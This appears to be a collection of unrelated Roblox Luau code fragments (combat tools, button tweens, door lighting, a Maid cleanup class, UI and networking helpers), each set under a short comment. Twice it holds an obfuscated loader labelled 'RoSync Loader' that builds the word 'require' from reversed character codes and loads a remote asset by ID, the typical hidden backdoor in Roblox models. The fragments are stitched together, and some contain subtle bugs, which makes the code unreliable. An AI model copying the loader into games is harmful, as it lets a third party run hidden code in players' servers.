local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and energy.Value > 12 then
Debounce = 2
Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
Track1:Play()
script.RemoteEventS:FireServer()
for i = 1,math.huge do
if Debounce == 2 then
plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
plr.Character.HumanoidRootPart.Anchored = true
else
break
end
wait()
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.Z and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 3
local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
Track2:Play()
Track1:Stop()
Sound:Play()
local mousepos = Mouse.Hit
script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
wait(1)
Track2:Stop()
plr.Character.HumanoidRootPart.Anchored = false
wait(.5)
Tool.Active.Value = "None"
wait(3)
Debounce = 1
end
end)
|
-- a single button script :p
|
local THEbutton = script.Parent.Button
local CD = Instance.new("ClickDetector",THEbutton)
CD.MaxActivationDistance = 5
local deb = false
local TS = game:GetService("TweenService")
local og_pos = THEbutton.CFrame
CD.MouseClick:Connect(function()
if not deb then
deb = true
local start = TS:Create(THEbutton,TweenInfo.new(.1,Enum.EasingStyle.Quad,Enum.EasingDirection.In,0,false,0),{CFrame = og_pos* CFrame.new(-.03,0,0)})
start.Completed:Connect(function()
local End = TS:Create(THEbutton,TweenInfo.new(.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = og_pos})
End.Completed:Connect(function()
deb = false
end)
End:Play()
end)
start:Play()
end
end)
|
--returns the wielding player of this tool
|
function getPlayer()
local char = Tool.Parent
return game:GetService("Players"):GetPlayerFromCharacter(Character)
end
function Toss(direction)
local OriginalWalkSpeed = Humanoid.WalkSpeed
OriginalWalkSpeed = OriginalWalkSpeed
Humanoid.WalkSpeed = 0
local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
local spawnPos = Character.Head.Position
spawnPos = spawnPos + (direction * 5)
Tool.Handle.Transparency = 1
local Object = Tool.Handle:Clone()
Object.Parent = workspace
Object.Transparency = 0
Object.Swing.Pitch = math.random(90, 110)/100
Object.Swing:Play()
Object.CanCollide = true
Object.CFrame = Tool.Handle.CFrame
Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
Object.Fuse:Play()
Object.Sparks.Enabled = true
local rand = 11.25
Object.RotVelocity = Vector3.new(math.random(-rand,rand),math.random(-rand,rand),math.random(-rand,rand))
Object:SetNetworkOwner(getPlayer())
local ScriptClone = DamageScript:Clone()
ScriptClone.FriendlyFire.Value = FriendlyFire
ScriptClone.Damage.Value = AttackDamage
ScriptClone.Parent = Object
ScriptClone.Disabled = false
local tag = Instance.new("ObjectValue")
tag.Value = getPlayer()
tag.Name = "creator"
tag.Parent = Object
Humanoid.WalkSpeed = OriginalWalkSpeed
Tool:Destroy()
end
Remote.OnServerEvent:Connect(function(player, mousePosition)
if not AttackAble then return end
AttackAble = false
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
Remote:FireClient(getPlayer(), "PlayAnimation", "Animation")
end
local targetPos = mousePosition.p
local lookAt = (targetPos - Character.Head.Position).unit
Toss(lookAt)
LeftDown = true
end)
function onLeftUp()
LeftDown = false
end
Tool.Equipped:Connect(function()
Character = Tool.Parent
Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)
|
-- Make sure to watch my video on more details on how to make it more realistic.
| |
-- This function only runs once, special for first time spawn. You can see the other function below this.
| |
--[[ Last synced 10/14/2020 09:36 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--Serverside logic
|
Event.OnServerEvent:Connect(function(player,ExhaustParticle,FireBool)
print("ExhaustParticle")
if FireBool then
local RanNum = tostring(math.random(1,3))
ExhaustPart2["Backfire"..RanNum]:Play()
ExhaustPart2.PointLight.Enabled = true
ExhaustPart2[ExhaustParticle].Enabled = true
if ExhaustParticle == "FlamesSmall" then
ExhaustPart2.PointLight.Range = 6
ExhaustPart2.PointLight.Brightness = 5
ExhaustPart2.Sparks.Enabled = false
else
ExhaustPart2.PointLight.Range = 8
ExhaustPart2.PointLight.Brightness = 12
ExhaustPart2.Sparks.Enabled = true
end
else
ExhaustPart2[ExhaustParticle].Enabled = false
ExhaustPart2.PointLight.Enabled = false
end
end)
|
-----<< TESTING >>-----
--[[
player.Character.ChildAdded:Connect(function(obj)
print("Added: " .. tostring(obj))
end)
player.Character.ChildRemoved:Connect(function(obj)
print("Removed: " .. tostring(obj))
end)
for i, v in pairs(player.Character:GetChildren()) do
v.ChildAdded:Connect(function(obj)
print("Added: " .. tostring(obj))
end)
v.ChildRemoved:Connect(function(obj)
print("Removed: " .. tostring(obj))
end)
end
--]]
| |
--- Add a task to clean up
-- @usage
-- Maid[key] = (function) Adds a task to perform
-- Maid[key] = (event connection) Manages an event connection
-- Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up.
-- Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method
-- Maid[key] = nil Removes a named task. If the task is an event, it is disconnected. If it is an object,
-- it is destroyed.
|
function Maid:__newindex(index, newTask)
if (Maid[index] ~= nil) then
error(("'%s' is reserved"):format(tostring(index)), 2)
end
local tasks = self._tasks
local oldTask = tasks[index]
tasks[index] = newTask
if (oldTask) then
if (type(oldTask) == "function") then
oldTask()
elseif (typeof(oldTask) == "RBXScriptConnection") then
oldTask:Disconnect()
elseif (oldTask.Destroy) then
oldTask:Destroy()
end
end
end
|
--Left lean Multiplier
|
R6LeftLegLeftLeanM = 2.2
R6RightLegLeftLeanM = 1
R6LeftArmLeftLeanM = 1
R6RightArmLeftLeanM = 2
R6TorsoLeftLeanM = 1
|
-- UI elements
|
local dlg = script.Parent
local ResultString = dlg:FindFirstChild("ResultString")
local ResultTime = dlg:FindFirstChild("ResultTime")
local ExitButton = dlg:FindFirstChild("ExitButton")
local DISPLAY_DURATION = 3
|
--!strict
|
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
local map = require(script.Parent.map)
return function<T>(arr: Array<T>, separator: string?): string
if #arr == 0 then
return ""
end
-- JS does tostring conversion implicitely but in Lua we need to do that explicitely
local stringifiedArray = map(arr, function(item)
return tostring(item)
end)
return table.concat(stringifiedArray, separator or ",")
end
|
--// # key, Traffic Director
|
mouse.KeyDown:connect(function(key)
if key=="k" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.Remotes.TDEvent:FireServer(true)
end
end)
|
---------------------------------------------------
|
Displays = 3 -- Sets how many displays this scripts will use...
DisplayColor = Color3.fromRGB(255, 0, 0)
|
-- функция слежения, будет исполняться когда будет добавлен новый элемент
|
function Sledim(param)
local txt = tostring(param.Value)
local tmp = frame:Clone()
tmp.TextLabel.Text = txt
tmp.Parent = sf
-- отсюда начнётся магия
Debris:AddItem(tmp,MyTimer) -- самоуничтожение через указанное время
Debris:AddItem(param,MyTimer) -- оригинал с сообщением тоже прикончим
local tween = TweenService:Create(tmp, tweenInfo, result) -- сжимаем
local tween2 = TweenService:Create(tmp.TextLabel, tweenInfo, result2) -- исчезаем
tween:Play()
tween2:Play()
end
incoming.ChildAdded:Connect(Sledim) -- реагировать на новый элемент
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
-- Changes the body orientiation to make it face a given direction. Returns the computed angles
|
function OrientableBody:face(direction: Vector3): Vector2?
local humanoid: Humanoid? = self.character and self.character:FindFirstChild("Humanoid")
if not humanoid or not humanoid.RootPart then
return nil
end
direction = humanoid.RootPart.CFrame:PointToObjectSpace(humanoid.RootPart.Position + direction)
local verticalAngle = math.asin(direction.Y)
if verticalAngle < Constants.OFFSET_Y and verticalAngle > -Constants.OFFSET_Y then
-- Vertical angle is within dead zone, do not change head orientation
verticalAngle = 0
else
if verticalAngle > 0 then
verticalAngle = verticalAngle - Constants.OFFSET_Y
else
verticalAngle = verticalAngle + Constants.OFFSET_Y
end
end
local horizontalAngle = math.atan2(-direction.X, -direction.Z)
-- If looking behind the character, it will instead rotate towards the camera
if horizontalAngle > math.pi / 2 then
horizontalAngle = math.pi - horizontalAngle
elseif horizontalAngle < -math.pi / 2 then
horizontalAngle = -math.pi - horizontalAngle
end
self.motor:setGoal({
horizontalAngle = Otter.spring(horizontalAngle),
verticalAngle = Otter.spring(verticalAngle),
})
return Vector2.new(horizontalAngle, verticalAngle)
end
|
------//Sprinting Animations
|
self.RightSprint = CFrame.new(-1, 1.1, -0.5) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(0));
self.LeftSprint = CFrame.new(1,1,-0.9) * CFrame.Angles(math.rad(-30),math.rad(35),math.rad(-25));
self.RightElbowSprint = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.LeftElbowSprint = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.RightWristSprint = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.LeftWristSprint = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
return self
|
--wait(10)
--CloseDoor()
|
wait(999999)
cooldown =false
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
|
--[[
[Horizontal and Vertical limits for head and body tracking.]
[Setting to 0 negates tracking, setting to 1 is normal tracking, and setting to anything higher than 1 goes past real life head/body rotation capabilities.]
--]]
|
local HeadHorFactor = 1
local HeadVertFactor = 1
local BodyHorFactor = 1
local BodyVertFactor = 1
|
--- Update the text entry label
|
function Window:UpdateLabel()
Entry.TextLabel.Text = Player.Name .. "@" .. self.Cmdr.PlaceName .. "$"
end
|
--[[ Last synced 12/1/2022 07:25 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
--[[**
ensures value matches given interface definition
@param checkTable The interface definition
@returns A function that will return true iff the condition is passed
**--]]
|
function t.interface(checkTable)
assert(checkInterface(checkTable))
return function(value)
local tableSuccess = t.table(value)
if tableSuccess == false then
return false
end
for key, check in pairs(checkTable) do
local success = check(value[key])
if success == false then
return false
end
end
return true
end
end
|
-- Helper functions
|
function angleBetweenPoints(p0, p1)
local p = p0 - p1
return -math.atan2(p.z, p.x)
end
function getCameraAngle(camera)
local cf, f = camera.CoordinateFrame, camera.Focus
return angleBetweenPoints(cf.p, f.p)
end
|
-- Buttons
|
Button.MouseClick:connect(function(Player)
if (Hold == true) then return end
Hold = true
-- Get Avatar
Avatar = Player.Character
MorphPlayer(Avatar)
Default()
end)
|
-- for i = 1,#allButtons,1 do
-- local object = allButtons[i]:FindFirstChild("Object")
-- local dependency = allButtons[i]:FindFirstChild("Dependency")
-- if object ~= nil and dependency ~= nil then
-- if dependency.Value == unlockPurchases[u][1] then
-- table.insert(ignore[u],object.Value)
-- scanForDependenceis(ignore[u],object.Value)
-- end
-- end
-- end
| |
--[=[
@within ClientRemoteSignal
@interface Connection
.Disconnect () -> ()
]=]
|
function ClientRemoteSignal.new(
re: RemoteEvent,
inboundMiddleware: Types.ClientMiddleware?,
outboudMiddleware: Types.ClientMiddleware?
)
local self = setmetatable({}, ClientRemoteSignal)
self._re = re
if outboudMiddleware and #outboudMiddleware > 0 then
self._hasOutbound = true
self._outbound = outboudMiddleware
else
self._hasOutbound = false
end
if inboundMiddleware and #inboundMiddleware > 0 then
self._directConnect = false
self._signal = Signal.new()
self._reConn = self._re.OnClientEvent:Connect(function(...)
local args = table.pack(...)
for _, middlewareFunc in ipairs(inboundMiddleware) do
local middlewareResult = table.pack(middlewareFunc(args))
if not middlewareResult[1] then
return
end
args.n = #args
end
self._signal:Fire(table.unpack(args, 1, args.n))
end)
else
self._directConnect = true
end
return self
end
function ClientRemoteSignal:_processOutboundMiddleware(...: any)
local args = table.pack(...)
for _, middlewareFunc in ipairs(self._outbound) do
local middlewareResult = table.pack(middlewareFunc(args))
if not middlewareResult[1] then
return table.unpack(middlewareResult, 2, middlewareResult.n)
end
args.n = #args
end
return table.unpack(args, 1, args.n)
end
|
--!strict
|
local observePlayer = require(script.Parent.observePlayer)
|
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